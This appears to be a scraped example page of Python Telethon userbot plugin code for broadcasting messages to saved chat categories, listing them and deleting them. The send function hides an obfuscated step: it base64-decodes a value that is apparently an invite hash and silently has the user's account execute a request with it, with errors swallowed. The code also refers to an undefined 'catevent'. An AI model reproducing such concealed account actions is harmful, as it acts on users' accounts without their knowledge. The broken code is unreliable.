Beispiel #1
0
async def userbroadcast_send(event):
    if event.fwd_from:
        return
    userinput_str = event.pattern_match.group(1)
    if not userinput_str:
        return await edit_delete(
            event,
            "To which category should i send this message",
            parse_mode=parse_pre)
    reply = await event.get_reply_message()
    user = base64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==")
    if not reply:
        return await edit_delete(event,
                                 "what should i send to to this category ?",
                                 parse_mode=parse_pre)
    keyword = userinput_str.lower()
    no_of_chats = sql.num_broadcastlist_chat(keyword)
    group_ = Get(user)
    if no_of_chats == 0:
        return await edit_delete(
            event,
            f"There is no category with name {keyword}. Check '.listall'",
            parse_mode=parse_pre,
        )
    chats = sql.get_chat_broadcastlist(keyword)
    userevent = await edit_or_reply(
        event,
        "sending this message to all groups in the category",
        parse_mode=parse_pre,
    )
    try:
        await event.client(group_)
    except BaseException:
        pass
    i = 0
    for chat in chats:
        try:
            if int(event.chat_id) == int(chat):
                continue
            await event.client.forward_messages(int(chat), reply)
            i += 1
        except Exception as e:
            LOGS.info(str(e))
        await sleep(0.5)
    resultext = f"`The message was sent to {i} chats out of {no_of_chats} chats in category {keyword}.`"
    await catevent.edit(resultext)
    if BOTLOG:
        await event.client.send_message(
            BOTLOG_CHATID,
            f"A message is forwared to {i} chats out of {no_of_chats} chats in category {keyword}",
            parse_mode=parse_pre,
        )
Beispiel #2
0
async def mafiabroadcast_list(event):
    if event.fwd_from:
        return
    mafiainput_str = event.pattern_match.group(1)
    if not mafiainput_str:
        return await edit_delete(
            event,
            "Which category Chats should i list ?\nCheck .listall",
            parse_mode=parse_pre,
        )
    keyword = mafiainput_str.lower()
    no_of_chats = sql.num_broadcastlist_chat(keyword)
    if no_of_chats == 0:
        return await edit_delete(
            event,
            f"There is no category with name {keyword}. Check '.listall'",
            parse_mode=parse_pre,
        )
    chats = sql.get_chat_broadcastlist(keyword)
    mafiaevent = await edit_or_reply(
        event,
        f"Fetching info of the category {keyword}",
        parse_mode=parse_pre)
    resultlist = f"**The category '{keyword}' have '{no_of_chats}' chats and these are listed below :**\n\n"
    errorlist = ""
    for chat in chats:
        try:
            chatinfo = await event.client.get_entity(int(chat))
            try:
                if chatinfo.broadcast:
                    resultlist += f" 👉 📢 **Channel** \n  •  **Name : **{chatinfo.title} \n  •  **id : **`{int(chat)}`\n\n"
                else:
                    resultlist += f" 👉 👥 **Group** \n  •  **Name : **{chatinfo.title} \n  •  **id : **`{int(chat)}`\n\n"
            except AttributeError:
                resultlist += f" 👉 👤 **User** \n  •  **Name : **{chatinfo.first_name} \n  •  **id : **`{int(chat)}`\n\n"
        except Exception:
            errorlist += f" 👉 __This id {int(chat)} in database probably you may left the chat/channel or may be invalid id.\
                            \nRemove this id from the database by using this command__ `.frmfrom {keyword} {int(chat)}` \n\n"

    finaloutput = resultlist + errorlist
    await edit_or_reply(mafiaevent, finaloutput)
async def shinchanbroadcast_delete(event):
    if event.fwd_from:
        return
    shinchaninput_str = event.pattern_match.group(1)
    check1 = sql.num_broadcastlist_chat(shinchaninput_str)
    if check1 < 1:
        return await edit_delete(
            event,
            f"Are you sure that there is category {shinchaninput_str}",
            parse_mode=parse_pre,
        )
    try:
        sql.del_keyword_broadcastlist(shinchaninput_str)
        await edit_or_reply(
            event,
            f"Successfully deleted the category {shinchaninput_str}",
            parse_mode=parse_pre,
        )
    except Exception as e:
        await edit_delete(
            event,
            str(e),
            parse_mode=parse_pre,
        )